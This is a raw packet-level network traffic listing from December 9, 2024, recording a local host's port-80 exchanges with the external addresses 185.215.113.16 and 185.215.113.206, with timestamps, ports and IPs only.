Dec 9, 2024 23:09:27.728899956 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.728940010 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.729968071 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.730016947 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.730086088 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.730124950 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.731225014 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.731262922 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.731295109 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.731343031 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.732513905 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.732559919 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.732717037 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.732757092 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.733695030 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.733741999 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.733747005 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.733786106 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.734925032 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.734975100 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.735071898 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.735147953 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.735826015 CET	49807	80	192.168.2.4	185.215.113.206
Dec 9, 2024 23:09:27.736198902 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.736325026 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.736371040 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.737438917 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.737483025 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.737607002 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.737651110 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.738688946 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.738729000 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.738797903 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.738841057 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.739897013 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.740089893 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.740134001 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.741132975 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.741174936 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.741297960 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.741339922 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.742364883 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.742526054 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.742571115 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.743613958 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.743657112 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.743725061 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.743766069 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.744898081 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.744937897 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.745075941 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.745115042 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.746104956 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.746149063 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.746227026 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.746268988 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.747339010 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.747384071 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.747494936 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.747534037 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.748639107 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.748684883 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.748725891 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.749825954 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.749867916 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.750077963 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.750122070 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.751100063 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.751277924 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.751311064 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.752264977 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.752305984 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.752327919 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.752367973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.753591061 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.753632069 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.753705978 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.753745079 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.754790068 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.754960060 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.755002022 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.756011963 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.756052017 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.756082058 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.756124020 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.757281065 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.757317066 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.757394075 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.757435083 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.758517027 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.758575916 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.758661985 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.758702993 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.759713888 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.759754896 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.759829998 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.759865046 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.760982037 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.761079073 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.761116028 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.762206078 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.762248039 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.762305021 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.762345076 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.763467073 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.763617992 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.763659000 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.764704943 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.764745951 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.764883995 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.764925957 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.765948057 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.765990019 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.766053915 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.766093969 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.856158972 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.856197119 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.856412888 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.856765032 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.856817007 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.856838942 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.856889963 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.858016968 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.858064890 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.858099937 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.858140945 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.859198093 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.861984968 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.882931948 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.883009911 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.883157015 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.883219004 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.883492947 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.883537054 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.883591890 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.883630991 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.884347916 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.884393930 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.884428978 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.884469986 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.885390043 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.885432005 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.885590076 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.885628939 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.886495113 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.886554003 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.886614084 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.886653900 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.887542963 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.887589931 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.887712955 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.887752056 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.888664961 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.888715982 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.888746977 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.888788939 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.889640093 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.889698029 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.889776945 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.889820099 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.890721083 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.890765905 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.890827894 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.890872955 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.891807079 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.891855001 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.891889095 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.891932964 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.892797947 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.892932892 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.892990112 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.893943071 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.894001007 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.894043922 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.895062923 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.895184994 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.895215988 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.895262003 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.896003962 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.896054983 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.896192074 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.896239042 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.897033930 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.897082090 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.897197008 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.897252083 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.898009062 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.898145914 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.898188114 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.899130106 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.899173975 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.899247885 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.899293900 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.900135994 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.900237083 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.900281906 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.901175976 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.901227951 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.901257038 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.901302099 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.902216911 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.902265072 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.902297974 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.902343035 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.903341055 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.903467894 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.903513908 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.904326916 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.904382944 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.904412985 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.904455900 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.905371904 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.905426025 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.905461073 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.905536890 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.906409025 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.906465054 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.906523943 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.906568050 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.907463074 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.907583952 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.907620907 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.908502102 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.908550978 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.908617020 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.908658028 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.909574986 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.909617901 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.909693003 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.909734964 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.910639048 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.910799026 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.910845041 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.911686897 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.911726952 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.911858082 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.911896944 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.912712097 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.912758112 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.912854910 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.912898064 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.913750887 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.913851023 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.913911104 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.914839029 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.914891005 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.914928913 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.915060997 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.915889025 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.915935040 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.915965080 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.916023016 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.916977882 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.917027950 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.917083979 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.917121887 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.917942047 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.918051004 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.918090105 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.919047117 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.919202089 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.919250965 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.920047998 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.920100927 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.920164108 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.920630932 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.921072960 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.921118975 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.921173096 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.921215057 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.922152996 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.922203064 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.922207117 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.922307014 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.923196077 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.923252106 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.923310041 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.923453093 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.924274921 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.924402952 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.924451113 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.925277948 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.925324917 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.925383091 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.925427914 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.926312923 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.926362991 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.926431894 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.926471949 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.927381992 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.927489996 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.927540064 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.928440094 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.928580046 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.928630114 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.929471970 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.929517984 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.929661989 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.929704905 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.930512905 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.930556059 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.930591106 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.930632114 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.931580067 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.931631088 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.931674957 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.932615995 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.932672977 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.932712078 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.933675051 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.933716059 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:27.933752060 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:27.933904886 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.047878027 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.047950983 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.048015118 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.048062086 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.048429012 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.048600912 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.048646927 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.049216032 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.049259901 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.049274921 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.049318075 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.050204039 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.050301075 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.050345898 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.075489998 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.075809956 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.075820923 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.075831890 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.075860977 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.075896978 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.076841116 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.077183962 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.077227116 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.077302933 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.077342033 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.078238964 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.078313112 CET	80	49815	185.215.113.16	192.168.2.4
